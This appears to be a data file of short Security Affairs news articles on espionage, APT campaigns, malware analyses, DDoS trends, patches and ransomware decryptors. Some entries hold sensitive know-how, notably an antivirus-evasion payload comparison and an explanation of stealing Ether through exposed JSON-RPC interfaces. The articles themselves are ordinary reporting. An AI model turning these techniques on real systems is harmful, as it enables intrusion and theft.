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3572_45942 | According to the German weekly Der Spiegel, the German intelligence Agency BND (Bundesnachrichtendienst) has reportedly been spying on Israel for years. The Prime Minister Benjamin Netanyahu’s Office is one of the main targets of the espionage activity, the German intelligence also targeted the British Ministry of Defense, the Organization of the Petroleum Exporting Countries (OPEC), the International Monetary Fund (IMF) , and the interior ministers of Austria and Belgium., “The Federal Intelligence Service has intercepted friend countries and international organizations. The Der SPIEGEL information confirmed the Office of the Israeli Prime Minister and the US State Department were their objectives.” reported the Der Spiegel., The BND gathered emails, phone calls and faxes from embassies and consulate belonging the US, UK, France, Sweden, Spain and other countries., The Prime Minister’s Office has declined to comment on the news., , The news follows the revelations made by The Der Spiegel magazine in November 2015, when it reported German Intelligence Agency BND “systematically spied” on its allies and several international organizations., According to The Der Spiegel magazine, the German Intelligence Agency BND has also been spying on several US Government organizations, including the NASA, the US State Department, the US Air Force, and American diplomats across Europe., In November 2015, the RBB Radio and Spiegel Online claimed that the BND is responsible for cyber espionage on its own account on several embassies and administrations of “European states and allies”., “the BND had systematically spied on ‘allies’ across the world, including on the interior ministries of the United States, Poland, Austria, Denmark and Croatia.” states the Spiegel., According to the Der Spiegel, the German Secret Service spied on the US delegation at the European Union in Brussels and the UN in New York, the US Treasury, and several embassies in Germany, including those of the US, France, Britain, Sweden, Portugal, Greece, Spain, Italy, Switzerland, Austria and the Vatican., The German intelligence appears very active, the German spies also spied on the Geneva-based International Committee of the Red Cross and Oxfam., Following the above events, in May the German intelligence BND had stopped sharing surveillance information with the NSA. The data were collected from a surveillance station located in Bad Aibling in Bavaria, the same center used by the German intelligence to monitor events in the Middle East., Pierluigi Paganini, (Security Affairs – German Intelligence BND, cyber espionage) |
5991_65962 | The continuing increase of both Bitcoin and Ethereum price is attracting crooks that are spending a lot of efforts in the attempt to steal funds stored in the wallets used for these two cryptocurrencies., Security researchers worldwide are observing an intensification of mass Internet scanning campaigns thanks the honeypots they set up to monitor the online threats., The security expert Didier Stevens observed a significant scanning activity over the weekend, just two days before Bitcoin price jumped from $7,000 to over $8,000 (Consider that the Bitcoin’s price was roughly $200 just two years ago)., “I’ve seen a couple of such requests a couple of years ago, but it’s the first time I see that many,” Stevens wrote in a short post on the SANS Institute. “The first time I observed this was late 2013, in the middle of the first big BTC price rally.”, , Of course, the crooks are exploring the possibility to target also other cryptocurrencies, such as the Ethereum. Very interesting the analysis proposed by Bleepingcomputer.com that reported the discovery made by the researcher Dimitrios Slamaris., The security expert reported Internet wide Ethereum JSON-RPC scans., The expert caught a JSON RPC call in his honeypot, someone was making requests to the JSON-RPC interface of Ethereum nodes that should be only exposed locally., The access to the interface does implements any authentication mechanism and wallet apps installed on the PC can send command to the Ethereum client to manage funds., It the interface is exposed inline, attackers can send requests to this JSON-RPC interface and issue commands to move funds to an attacker’s wallet., Below the sequence of requests discovered by Slamaris:, “After I noticed that these are RPC calls to the Ethereum JSON API I implemented one valid response after another and managed to capture a full Ethereum robbery, which consist basically (to the best of my knowledge) of commands in the following order:”, Bot trying to steal Ethers from my honeypot, after enumerating "my" accounts, getting the balance and m client version! pic.twitter.com/8x9JBHs2aD, — Dimitrios Slamaris (@dim0x69) November 7, 2017, , Early November, Slamaris uncovered another massive scan that allowed the attacker to steal 8 Ethers (about $3,200 at current exchange)., “If you are using Ethereum, and if you are running an Ethereum node, then please make sure the node is not listening to inbound queries. As far as I can tell, these requests are simple HTTP requests, they are not protected by same-origin policy and can easily be issued via Javascript.” states the post published by the SANS Institute., Users running Ethereum nodes that necessarily need to have Internet access should disable the JSON-RPC interface’s inbound queries or proxy requests via a server to filter only approved clients., “It would be trivial to have Javascript look for a node on the host connecting to a web server, even if the host is behind NAT. Probably because investors in cryptocurrencies are used to taking risks, the JSON RPC interface does not provide for authentication. Instead, if you do want to use any form of authentication, you have to proxy the queries via a server like Nginx that is then able to filter and authenticate requests.”, What will happen in the next months?, No doubts, crooks will continue to scan the Internet for wallet accidentally exposed online., Pierluigi Paganini, (Security Affairs – cryptocurrencies, Ethereum wallet) |
4779_55624 | This work compares some infamous methods for the creation of malicious payloads or shellcodes. These payloads must be used to create a remote connection between the victim’s machine and the attacker’s machine that wants to listen and, once a connection is successfully established, obtain sensitive information or make an attack to that user. Their creation was made by using some free tools, running on a Kali Linux machine, that are:, This comparison is made according to the capability of malicious payloads in bypassing default security systems available on Windows machines and antivirus systems on the market, looking for a way to obtain a payload that manages to be invisible simultaneously to several security systems. Security systems embedded on Windows that have been used and tested for this work are:, Online scanners have been also used, which perform a check of created files using multiple antivirus engines simultaneously. Scanners then used in this work were:, For each of the used tools, the following table shows the best results obtained by malicious payload creation. Remember that to obtain a good result means being able to bypass Windows security systems (denoted as “Yes” or “No” in the table) and some online scanners (denoted in the table by the number of antivirus solutions which recognize malicious payload on the total number of executed antivirus)., , (* – Windows SmartScreen can block malicious payload if it is downloaded from the Internet; otherwise, Windows SmartScreen not considers it as malicious), , In this report, configured systems for payloads production and testing will be briefly introduced, as well as, to show and to discuss the results from different methodologies trying to create a FUD (fully undetectable) backdoor., Enjoy the report!, About the Author Prof Corrado Aaron Visaggio, Pierluigi Paganini, (Security Affairs – malicious payloads, malware) |
2680_39571 | There has been a multiplying growth in the quantity of DDoS assaults year over year, as per Akamai. Keeping in mind assailants’ planer preferred less capable yet more length of time attacks this quarter, the quantity of hazardous super assaults keeps on expanding., In Q2 2015, there were 12 attacks cresting at more than 100 Gigabits for every second (Gbps) and five assaults topping at more than 50 Million bundles for each second (Mpps). Not many associations have the ability to withstand such assaults all alone., The biggest DDoS assault of Q2 2015 deliberates more than 240 gigabits for each second (Gbps) and endured for over 13 hours. Crest bandwidth speed is ordinarily obliged with a 1-2 hour window. Q2 2015 likewise saw one of the most elevated bundle rate assaults ever recorded over the Prolexic Routed system, which crested at 214 Mpps. That assault volume is fit for taking out level 1 routers, for example, those utilized by the ISPs., DDoS assault action set another record in Q2 2015, expanding 132% when closely contrasted with Q2 2014 and expanding 7% compared with Q1 2015. Normal top assault transmission capacity and volume expanded marginally in Q2 2015 when compared with Q1 2015, however, remained altogether lower than the peak midpoints saw in Q2 2014., , SYN and Simple Service Discovery Protocol (SSDP) were the most widely recognized DDoS assault vectors this quarter – each representing more or less 16% of DDoS attack activity. The multiplication of unsecured home-based, Internet connected gadgets utilizing the Universal Plug and Play (UPnP) Protocol keeps on making them appealing for utilization as SSDP reflectors. Basically inconspicuous for a whole year, SSDP assaults have been one of the top assault vectors for past 3 decades. SYN surges have kept on being a standout amongst the most well-known attacks in every single volumetric assault, going back to the first version of the security reports generated in Q3 2011., Internet gaming has remained the most focused on industry since Q2 2014 by attackers, being targeted frequently in around 35 percent of the DDoS attacks. China has remained the top wellspring of non-ridiculed assault activity for past 2 quarters, and has been among the main three source nations since the first report was published in Q3 2011.
Contrasted with Q2 2014 closely:, Contrasted with Q1 2015:, , As in Q1 2015, the quarter’s top nation behind most DDoS attacks is none other than China., Written by: Ali Qamar, Founder/Chief Editor at SecurityGladiators.com, Author Bio:
Ali Qamar is an Internet security research enthusiast who enjoys “deep” research to dig out modern discoveries in the security industry. He is the founder and chief editor at Security Gladiators, an ultimate source for cyber security. To be frank and honest, Ali started working online as a freelancer and still shares the knowledge for a living. He is passionate about sharing the knowledge with people, and always try to give only the best. Follow Ali on Twitter @AliQammar57, Pierluigi Paganini, (Security Affairs – DDoS, Akamai) |
2305_36928 | Naikon is one of the Asian largest APT gangs which has been active for several years, its operations targeted entities in various industries including governments and the military. The hacking crew targeted diplomats, law enforcement, and aviation authorities in many Asian countries such as the Philippines, Malaysia, Cambodia, and Indonesia. Naikon is the group which was involved in a cyber espionage campaign shortly after Malaysia Airlines Flight MH370 disappeared. Recently the group engaged a hacking dispute with another APT dubbed Hellsing., The list of victims is long and includes the Office of the President, Office of the Cabinet Secretary, and National Intelligence Coordination Agency, Federal police, department of justice, and the military offices., , The hackers behind the Naikon group appear to be Chinese-speaking, they have set up control infrastructure with sophisticated spying tools that allowed them to access employees’ corporate email, personal and corporate email content hosted on external services and other targets’ resources., Below the key findings of a report on the Naikon APT published by the Kaspersky Lab:, In a first time, the experts linked the Naikon APT to a group which was identified by FireEye as APT30, but experts at Kaspersky Lab explained that there is no evidence that the threat actors are the same:, “The Naikon APT aligns with the actor our colleagues at FireEye recently revealed to be APT30, but we haven’t discovered any exact matches. It is hardly surprising that there is an element of overlap, considering both actors have for years mined victims in the South China Sea area, apparently in search of geo-political intelligence.” states the report published by Kaspersky., According to the experts at Kaspersky, the Naikon APT has used a very sophisticated infrastructure for data exfiltration in any country. All the communications between bot agents and C&C were protected., In the Naikon architecture, a C&C server can be specialized XSControl software running on the host machine. The application is entirely written in .NET with the use of DevExpress, and can be used to manage a botnet of infected clients., , “In some cases, a proxy is used to tunnel victim traffic to the XSControl server. A Naikon proxy server is a dedicated server that accepts incoming connections from victim computers and redirects them to the operator’s C&C. An individual Naikon proxy server can be set up in any target country with traffic tunnelling from victim systems to the related C&C servers.” states the report., The attack vector is a classic spear phishing that was used in the attempt to compromise the targets, the attackers used malicious email attachments that exploit a buffer overflow vulnerability in the ListView/TreeView Active X controls in Microsoft Common Controls library. The flaw affects Office 2003 SP3, 2007 SP2 and SP3, and 2010. When victims open the attachment, a spyware is installed on the target while it is displayed a decoy document to the victim in order to avoid raise suspicious., It is interesting to note that the Naikon APT has a designated human operator for each country, the figure is in charge of to tailor the attack for a specific region., “Having dedicated operators focused on their own particular set of targets also makes things easy for the Naikon espionage group,” Baumgartner said., Enjoy the report which is full of details., Pierluigi Paganini, (Security Affairs – Naikon APT, state-sponsored hacking) |
3681_46831 | In the last days of April, Flashpoint a global leader in Deep and Dark Web data and intelligence published a report that is dedicated to the analysis of cyber capabilities of the ISIS with the title of “Hacking for ISIS: The Emergent Cyber Threat Landscape.“, , Hacking attacks in support of the Islamic State have piqued the attention of the world and escalate the publicity of the terror group. In spite of the launched hacking attacks, the overall capabilities are neither advanced nor do they demonstrate sophisticated targeting., During the past two years that ISIS has been growing, at least five different pro-ISIS hacking group launched cyber-attacks in favor of the Islamic State.
According to techworm, on April 4, 2016, Cyber Caliphate Army (CCA), ISIS’s main hacking unit, and other pro-ISIS groups like the Sons Caliphate Army (SCA) and Kalacnikov.TN (KTN) merged and formed The United Cyber Caliphate (UCC). These pro-ISIS activities are still poorly organized and likely under-resourced and have not been neither officially acknowledged nor claimed by ISIS itself., Most of the claimed attacks by the pro-ISIS hackers are beginner level and opportunistic such as exploiting known vulnerabilities to compromise websites. These pro-ISIS actors have launched attacks chiefly on government, banking, and media targets, so far, but researchers at Flashpoint expect as growing to maturity, they keep targeting financial institution., The IS is not explicitly attempted to recruit sophisticated hackers, but its followers can broaden their knowledge and skills through hacking courses, tools, and guidance available in Deep & Dark Web forums. Pro-ISIS cyber actors are likely to download hacking tools from publicly available sources while also utilizing both off-the-shelf and custom malware., On Monday, the UCC published a new kill list featuring 43 names linked to the U.S. State Department, the DHS, and other federal agencies on the messaging app Telegram, Vocativ reported., Whilst the current cyber capabilities of the IS are not sophisticated, it won’t remain the same and could change quickly. “There is clear evidence that they are growing in number, coalescing in rank, and zooming in on American and other Western targets,” Alkhouri told SecurityWeek., The report published by Flashpoint can be downloaded from their website through the link below:, About the Author, Ali Taherian (@ali_taherian) is an enthusiastic information security Officer. He’s finished his education in information security and has recently been involved in banking software and payment security industry. Taherian is proud to be certified IBM Cloud Computing Solution Advisor and ECSA and enjoys sharing and tweeting about security advances and news., Edited by Pierluigi Paganini, Pierluigi Paganini, (Security Affairs – ISIL, terrorism) |
5859_64668 | Researchers with Cisco Talos have spotted a Russian cyber espionage group targeting individuals with spear-phishing messages using documents referencing a NATO cybersecurity conference., Experts attributed the attack to the dreaded Russian APT28 group, aka Pawn Storm, Fancy Bear, Sofacy, Group 74, Sednit, Tsar Team and Strontium., The hackers targeted individuals with a specific interest in the CyCon US cybersecurity conference organized by the NATO Cooperative Cyber Defence Centre of Excellence (CCDCOE) in collaboration with the Army Cyber Institute at West Point on November 7-8 in Washington, D.C., The state-sponsored hackers used bait documents containing content copied from the official CyCon U.S. website, the attackers were clearly interested in spying on cybersecurity experts., “Cisco Talos discovered a new malicious campaign from the well known actor Group 74 (aka Tsar Team, Sofacy, APT28, Fancy Bear…). Ironically the decoy document is a deceptive flyer relating to the Cyber Conflict U.S. conference. CyCon US is a collaborative effort between the Army Cyber Institute at the United States Military Academy and the NATO Cooperative Cyber Military Academy and the NATO Cooperative Cyber Defence Centre of Excellence.” states the report published by CISCO Talos., “Due to the nature of this document, we assume that this campaign targets people with an interest in cyber security.”, , The technique to use cyber security conferences as a lure in cyber espionage operations is well known, other threat actors in the past used the same tactic. Last year, a Chinese cyber espionage group known as Lotus Blossom attempted to lure victims with fake invitations to a Palo Alto Networks’ Cybersecurity Summit., The attackers didn’t use any zero-day vulnerabilities in this last campaign, instead, they relied on weaponized Office documents containing VBA scripts used to deliver a new variant of Seduploader (also known as GAMEFISH backdoor, Sednit, JHUHUGIT and Sofacy)., The Seduploader malware, also known as GAMEFISH backdoor, Sednit, JHUHUGIT and Sofacy, is a strain of malware that has been already used by the threat actor in other campaigns against NATO representatives., “In the previous campaign where adversaries used Office document exploits as an infection vector, the payload was executed in the Office word process. In this campaign, adversaries did not use any exploit. Instead, the payload is executed in standalone mode by rundll32.exe,” continues the report., The Seduploader is a reconnaissance malware that was used for years by APT28, it is composed of 2 files: a dropper and a payload. The experts noticed that dropper and the payload are quite similar to the previous versions but the author modified some public information such as MUTEX name, obfuscation keys., Hackers made these modifications to avoid detection of security solutions., The CCDCOE published an alert on its website to warn people interested in the CyCon conference about the attack., “Information from CyCon U.S. website has been used in a Word document with an intent to deliver malware. This type of attack, where legitimate information is used to attract the attention of victims, is rather common and normally detected and prevented in information systems with widely used safeguards.” reads the alert., “This is clearly an attempt to exploit the credibility of Army Cyber Institute and NATO CCDCOE in order to target high-ranking officials and experts of cyber security,”, Pierluigi Paganini, (Security Affairs – APT28, cyber espionage) |
2996_41857 | The paradigm of the Internet of Things has dramatically enlarged our surface of attack, smart devices surrounding us are a privileged target for cyber criminals. What about your coffee machine? The coffee machines could become the entry point in your network, exactly as described in the past for smart kettles, hackers could hack them to gain access to violate your privacy., Also in this case, the coffee machines could be controlled via a mobile app, you can have a steaming coffee by starting the device remotely. Clearly, the presence of a flaw could in the way the app exchange information with the coffee machine could open the doors to the hackers. The attackers could exploit the flaw to steal your WiFi password and sniff data in transit in your network., Security experts at Kaspersky Lab issued a report that warns users of the possible risks when facing with connected coffee machines, and more in general, one of four wireless-enabled home devices analyzed by the experts., The researchers analyzed four devices that are familiar to many users:, The experts discovered a number of vulnerabilities of varying severity, honestly some of them very difficult to exploit due to the necessary condition that must be satisfied to launch the hack., When a connected coffee machine is turned on it opens a non-encrypted hotspot and listens to UPNP traffic. On the client side, the smartphone running the mobile app provided by the vendor of the coffee machines connects to the hotspot and sends a broadcast UDP request searching for UPNP devices. The Coffee machine establish the communication with the app exchanging several data including the SSID and the password to the home wireless network, unfortunately they are in clear text., “As our coffee machine is such a device, it responds to this request. After that a short communication containing the SSID and the password to the home wireless network, among other things, is sent from the smartphone to the device.” states the report. “This is where we detected a problem. Although the password is sent in encrypted form, the components of the encryption key are sent through an open, non-protected channel. These components are the coffee machine’s Ethernet address and some other unique credentials. Using these components, the encryption key is generated in the smartphone. The password to the home network is encrypted with this key using 128-bit AES, and sent in base64 form to the coffee machine. In the coffee machine, the key is also generated using these components, and the password can be decrypted. Then, the coffee machine connects to the home wireless network and ceases to be a hotspot until it is reset. From this moment on, the coffee machine is only accessible via the home wireless network. But it doesn’t matter, as by then the password is already compromised.”, In order to hack the coffee machines, the attackers would need to know exactly when the owner install them and be physically near the IoT device in a way to intercept the password. Clearly this scenario is not so easy to implement., Kaspersky reported the security issued to the vendor of the coffee machines, which has acknowledged them and provided the experts with the following statement:, “Both user experience and security are extremely important to us and we continually strive to strike the right balance between the two. The actual risks associated with the vulnerabilities you mentioned during set-up are extremely low. In order to gain access, a hacker would have to be physically within the radius of the home network at the exact time of set-up, which is a window of only a few minutes. In other words, a hacker would have to specifically target a smart coffee maker user and be around at the exact point of set-up, which is extremely unlikely. Because of this, we do not believe the potential vulnerabilities justify the significant negative impacts it will have on user experience if we make the suggested changes. Though no definite plans to change our set-up procedure are in the works, we are constantly reevaluating and wouldn’t hesitate to make changes if risks become more significant. Should something change in the near future we will let you know.”, I partially agree with the above statement, anyway I remark the need to approach IoT paradigm with security by design., To read the results of the tests executed on the other IoT devices give a look to the report., Pierluigi Paganini, (Security Affairs – Coffee machines, hacking) |
1278_25861 | Pierluigi Paganini, (Security Affairs – George Hotz, Towelroot) |
4642_54587 | CryptXXX v.3 ransomware was defeated, researchers have released a decryption tool for unlocking encrypted files. The decryption tool was included in the RannohDecryptor utility, a free application shared by the No Ransom Project., The utility was already able to unlock a limited list of files encrypted by the CryptXXX v.3, but not it is able to recover almost any file targeted by the v.3., The CryptXXX ransomware is one of the ransomware with the highest number of victims in the wild that targeted mostly US users. Russia, Germany and Japan are also in the top-targeted countries., CryptXXX ransomware was first spotted in April, experts believe it allowed criminal organizations to earn a lot of money., The experts noted an intense activity involving the malware that was spread in campaigns leveraging on Angler, Neutrino, and Magnitude exploit kits., , Since April, CryptXXX has rapidly evolved, according to the firm SentinelOne, in June a new campaign that fixed the security flaws that allowed decrypting locked files without paying the ransom., In May, experts at Kaspersky Lab have updated their decryption tool to adapt to the second version of the CryptXXX ransomware in the RannohDecryptor 1.9.1.0., Every time the author of the CryptXXX released a new version, experts from Kaspersky were able to exploit flaws in the code of the ransomware to unlock the encrypted files., The researchers from Kaspersky Lab, discovered the malware leverage on a DLL written in Delphi and uses several encryption algorithms to lock the files., Once CryptXXX v.3 locks files, it appends the extensions .crypt, .cryp1 and .crypz. The latest variant of the malware also includes a module called stiller.dll that is tasked with stealing account credentials from the victim’s machine, “After the files are encrypted and all the valuable data is transferred to the criminals, the Trojan displays a message to the victim demanding a ransom,” Kaspersky Lab researchers said., If you are one of the victims of ransomware give a look at the list of available decryption utilities that was included in the No Ransom website., Pierluigi Paganini, (Security Affairs – cybercrime, ransomware) |
6151_67388 | The tech giant addressed 38 Android security vulnerabilities, 20 as part of the 2018-01-01 security patch level and 18 in the 2018-01-05 security patch level., The 2018-01-01 security patch level fixed four Critical remote code execution issue and 16 High risk elevation of privilege and denial of service flaws., The most severe vulnerability in Android runtime, tracked as CVE-2017-13176, could be exploited by a remote attacker to bypass user interaction requirements in order to gain access to additional permissions., A Critical remote code execution flaw was fixed in System, the company also addressed one High risk denial of service vulnerability and two High severity elevation of privilege vulnerabilities., The security updates fixed 15 vulnerabilities issues in Media framework, the most severe one could be exploited by an attacker using a specially crafted malicious file to execute arbitrary code within the context of a privileged process., The 2018-01-05 security patch level addressed just one Critical flaw in the Qualcomm components, it could allow a remote attacker using a specially crafted file to execute arbitrary code within the context of a privileged process., The 2018-01-05 security patch level also fixed 1 Critical issue and 6 High severity vulnerabilities in Qualcomm closed-source components., The patch level addressed High risk elevation of privilege flaws in LG components, MediaTek components, Media framework, and NVIDIA components., The security patch level addressed one information disclosure bug in Kernel components, and three High severity elevation of privilege., , The tech giant also fixed resolved 46 vulnerabilities in Google devices as part of the Pixel / Nexus Security Bulletin—January 2018., High severity flaws only affected older Android versions, meanwhile, most of the issues were rated Moderate severity., The affected components included Framework (1 vulnerability), Media framework (16 vulnerabilities), System (1 flaw), Broadcom components (1 issue), HTC components (1 flaw), Kernel components (7 bugs), MediaTek components (1 issue), and Qualcomm components (18 vulnerabilities)., Pierluigi Paganini , (Security Affairs – Google, Android Security Bulletin) |
5744_63439 | The cyber security expert Patrick Wardle, director of research at Synack, revealed that unsigned applications can steal macOS Keychain passwords from the latest version of macOS High Sierra and previous versions of macOS., The researchers tested the exploit on Sierra and High Sierra, but he confirmed that El Capitan appears vulnerable as well. This issue is not a ‘High Sierra specific’ vulnerability., The researchers shared a video that shows how an unsigned application can exfiltrate sensitive data from the macOS Keychain, including plaintext passwords., , “What does your attack do?
A: I discovered a flaw where malicious non-privileged code (or apps) could programmatically access the keychain and dump all this data …. including your plain text passwords. This is not something that is supposed to happen! :(” explained Wardle., on High Sierra (unsigned) apps can programmatically dump & exfil keychain (w/ your plaintext passwords)??? vid: #smh pic.twitter.com/pqtpjZsSnq, — patrick wardle (@patrickwardle) September 25, 2017, , It interesting to note that the attack does not require root permissions. The attack does require the knowledge of the master password, it only needs the targeted user to download and launched a malicious application, clearly ignoring the warnings displayed when an app from an unidentified developer is being executed., “Q: What are the prerequisites for this attack?
A: As this is a local attack, this means a hacker or piece of malware must first infect your your Mac! Typical ways to accomplish this include emails (with malicious attachments), fake web popups (“your Flash player needs updating”), or sometimes legitimate application websites are hacked (e.g. Transmission, Handbrake, etc). Theoretically, this attack would be added as a capability or as a payload of such malware. For example, the malware would persist, survey the system, then use this attack to dump the keychain. If I was writing a modular mac backdoor or implant, I’d call it the “dump keychain” plugin :)” added the expert., , Wardle reported the discovery to Apple along with a proof-of-concept (PoC) code, he avoided to publicly disclose technical details to prevent malicious actors from abusing the technique., Security experts always recommend customers to download applications only from trusted sources and pay attention to the security warnings displayed by the operating system., “A few things. As mentioned before, this attack is local, meaning malicious adversaries have to first compromise your mac in some way. So best bet – don’t get infected. This means run the latest version of macOS and don’t run random apps from emails or the web. Also, this attack requires that the keychain is unlocked. By default the keychain is unlocked when the user logs in. However, you can change the keychain password (so it is not automatically unlocked during login, or (via the Keychain Access app) lock the keychain while you are not using it. ” suggests Wardle to stay safe., Unfortunately, Apple’s bug bounty program doesn’t cover macOS., this means that the expert will not be rewarded … let me hope that Apple will make an exception in this case., Pierluigi Paganini, (Security Affairs – OS keychain, hacking) |
2228_36367 | Malversting campaigns are becoming a serious problem for web users, cyber criminals are exploiting this practice to infect wide audience of users that visit most popular websites. In January security experts at Cyphort firm discovered a malvertising campaign hit numerous websites, including the Huffington Post and LA Weekly, the attackers exploited the AOL ad network to run the attack., This time cyber criminals served the malicious advertisement through the ad provider TrafficHaus, the attack was discovered by Malwarebytes last Friday and promptly taken down in more or less 24 hours., “We identified a malvertising campaign taking place on adult site xHamster (Alexa rank #68, est. 514 million visitors/month according to SimilarWeb) that abused ad provider TrafficHaus and Google’s URL shortener service” states a blog post published by Malwarebytes., The attack chain starts a malicious advertisement using a shortened Google URL that redirect victims to the a domain serving the popular Angler Exploit Kit, in the following image is visible the source code behind a legitimate advertising (in blue) and the malicious code (in red)., , The threat actors exploited the URL shortener to generate new links and evade blacklists, they used Google URL due to its reputation. The page hosting the malicious Bedep malware., “The Trojan may arrive through a website hosting the Angler exploit kit. The exploit kit takes advantage of Flash vulnerabilities and loads the Trojan into memory. As a result, the Trojan may not create files or registry entries on the computer. ” as explained by the experts at Symantec., Bedep acts as a backdoor in the infected machine that is used to download further malicious payload, including the Magnitude Exploit Kit., “With most exploit kits the user browses to a site and gets exploited via a drive by download,” said Jerome Segura, senior security researcher at Malwarebytes. “In this case, Bedep is generating traffic only visible via network traffic tools like Fiddler or Wireshark (no browser is open or visible to the end user). Despite that there is no visible GUI, Bedep loads malicious URLs that trigger the exploit kit exploitation.”, There is no official news regarding the number of visitors of the xHamster affected by the malversting campaign., Pierluigi Paganini, (Security Affairs – malversting, xHamster) |
7087_75632 | AdvisorsBot was uncovered in malicious email campaigns, attributed to the TA555 threat actor, targeting hotels, restaurants, and telecommunications entities., The name “AdvisorsBot” comes from the early command and control (C&C) domains that all contained the word “advisors”, The experts attributed the attack to the TA555 threat actor that leverages the downloader as a first-stage payload that downloads a component that gathers information of the infected machine., The attackers used the downloader as a first-stage payload, to load a module that performs fingerprinting of the targeted machine and likely deliver additional modules onto the systems of interest., “Beginning in May 2018, Proofpoint researchers observed a previously undocumented downloader dubbed AdvisorsBot appearing in malicious email campaigns. The campaigns appear to primarily target hotels, restaurants, and telecommunications, and are distributed by an actor we track as TA555.” reads the analysis published by Proofpoint. , “To date, we have observed AdvisorsBot used as a first-stage payload, loading a fingerprinting module that, as with Marap, is presumably used to identify targets of interest to further infect with additional modules or payloads.”, AdvisorsBot was first spotted in May 2018, it is written in C but experts already discovered other versions written in PowerShell and .NET, a circumstance that suggests the code is under active development., AdvisorsBot implements a number of anti-analysis features, such as the use of junk code (i.e. extra instructions, conditional statements, and loops) with the intent to make very hard the reverse engineering of the malware., , “We can also see two more anti-analysis features in the same screenshots:, AdvisorsBot is able to detect analysis and virtualized environments., In May and June, the campaigns leveraged macros to execute a PowerShell command to fetch and run AdvisorsBot, in most recent attacks the PowerShell command would download another PowerShell script to execute embedded shellcode that would run the downloader directly in the memory. Since August 15, the macro in the latest attacks fetched a PowerShell version of AdvisorsBot directly., The communication with the C&C server is over HTTPS, in turn, the C&C sends commands via GET requests. At the time of the analysis, the malware only includes support for two commands, it can either load a module or load a shellcode in a thread., “At the time of publication we have only observed a system fingerprinting module being sent from a C&C server.” continues the analysis., “It performs the following activities and sends their output back to the C&C:, The latest campaign uncovered by the experts employed a new version of the malware, tracked as PoshAdvisor, that is rewritten using PowerShell and a .NET DLL embedded inside the PowerShell script., “While it remains to be seen whether this threat actor will continue to distribute AdvisorsBot, PoshAdvisor, or both in future campaigns, this pair of downloaders, with extensive anti-analysis features and increasingly sophisticated distribution techniques, warrant further investigation,” Proofpoint concludes., Pierluigi Paganini, (Security Affairs – AdvisorsBot, malware) |
895_20559 | , Tor network is a territory of exploration for cybercriminals that are increasing their attention in the popular anonymizing network for make more resilient malicious botnets. The principal advantages for adoption of hidden service in a botnet architecture are:, , Exploiting Tor based botnet cybercriminals can hide their control infrastructures making hard theit eradication to law enforcement and security firms. In the last months security experts have found different malware variants abusing Tor network to create bulletproof botnets including Skynet, Mevade and Atrax. Also last version of Zeus malware designed for 64 bit architectures has implemented the possibility to use Tor to avoid detection of its C&C servers., Security Researchers at Kaspersky Lab have recently discovered a new Tor-based malware, dubbed “ChewBacca” (“Trojan.Win32.Fsysna.fej”), used by cybercriminals to hit banking users stealing their credentials. The C&C server login page has an image of a character ChewBacca from the film series Star Wars that’s the origin of the name for the botnet., , , , , As observed for last variant of Zeus also the C&C of this trojan is hosted on a Tor .onion domain. to preserve server from being tracked. But Tor is still too slow, and massive botnets may have an impact on the performances of the overall network as observed for the Mevade botnet, in this case the botnet is very noisy and easy to destroy., The Kaspersky Lab team hasn’t provided information on the extension of the Chewbacca botnet neither the circumstances that led the experts to discover it, consider that Chewbacca is currently not publicly available on the underground market., Chewbacca code was compiled with Free Pascal 2.7.1., once executed windows based system, it drops as spoolsv.exe in the startup folder and also drops a copy of Tor 0.2.3.25., “After execution, the function “P$CHEWBACCA$_$TMYAPPLICATION_$__$$_INSTALL” is called, which drops itself as “spoolsv.exe” into the “Startup folder” (e.g. C:\Documents and Settings\All Users\Start Menu\Programs\Startup\) and requests the public IP of the victim via a publicly accessible service at (which is not related to the malware). Tor is dropped as “tor.exe” to the user-s Temp and runs with a default listing on “localhost:9050″.”, The Chewbacca Trojan logs all keystrokes by the user to “system.log” under the user’s local Temp folder and then sends the data back to the botnet controllers via Tor anonymity network. Chewbacca also enumerates all running processes and reads their process memory, another characteristic is that the C&C server is a LAMP platform (Linux, Apache, MySQL and PHP)., Tor isn’t the unique anonymizing network used by cyber criminals, Russian hackers have recently proposed i2Ninja financial malware based on the I2P network for the same reason., In the future we will see more example of such malware improved to work with different anonymizing networks, multiplatform and multi protocol., Pierluigi Paganini, (Security Affairs – Tor-based malware, ChewBacca), |
6986_74852 | Last week, Twitter announced it had removed more than 143,000 apps from the messaging service since April in a new crackdown initiative aimed at “malicious” activity from automated accounts., We’re committing Twitter to help increase the collective health, openness, and civility of public conversation, and to hold ourselves publicly accountable towards progress., — jack (@jack) March 1, 2018, , The social media giant was restricting the access to its application programming interfaces (APIs) that allows developers to automate the interactions with the platform (i.e. Tweet posting)., Spam and abuse issues are important problems for the platform, every day an impressive number of bots is used to influence the sentiment on specific topics or to spread misinformation or racism content., “We’re committed to providing access to our platform to developers whose products and services make Twitter a better place,” said Twitter senior product management director Rob Johnson., “However, recognizing the challenges facing Twitter and the public — from spam and malicious automation to surveillance and invasions of privacy — we’re taking additional steps to ensure that our developer platform works in service of the overall health of conversation on Twitter.”, Twitter says the apps “violated our policies,” although it wouldn’t say how and it did not share details on revoked apps., “We do not tolerate the use of our APIs to produce spam, manipulate conversations, or invade the privacy of people using Twitter,” he added., “We’re continuing to invest in building out improved tools and processes to help us stop malicious apps faster and more efficiently.”, Cleaning up Twitter it a hard task, now since Tuesday, Twitter deployed a new application process for developers that intend to use the platform API., Twitter is going to ask them for details of how they will use the service., “Beginning today, anyone who wants access to Twitter’s APIs should apply for a developer account using the new developer portal at developer.twitter.com. Once your application has been approved, you’ll be able to create new apps and manage existing apps on developer.twitter.com. Existing apps can also still be managed on apps.twitter.com.”Johnson added., “We’re committed to supporting all developers who want to build high-quality, policy-compliant experiences using our developer platform and APIs, while reducing the impact of bad actors on our service,” , , Anyway, there are many legitimate applications that used Twitter APIs to automate several processes, including emergency alerts., Twitter also announced the introduction of new default app-level rate limits for common POST endpoints to fight the spamming through the platform., “Alongside changes to the developer account application process, we’re introducing new default app-level rate limits for common POST endpoints, as well as a new process for developers to obtain high volume posting privileges. These changes will help cut down on the ability of bad actors to create spam on Twitter via our APIs, while continuing to provide the opportunity to build and grow an app or business to meaningful scale.” concludes Twitter., Pierluigi Paganini, (Security Affairs – Twitter, messaging service) |
5075_57879 | The best news of the week with Security Affairs., First of all, let me inform you that at the #infosec16 SecurityAffairs was awarded as The Best European Personal Security Blog
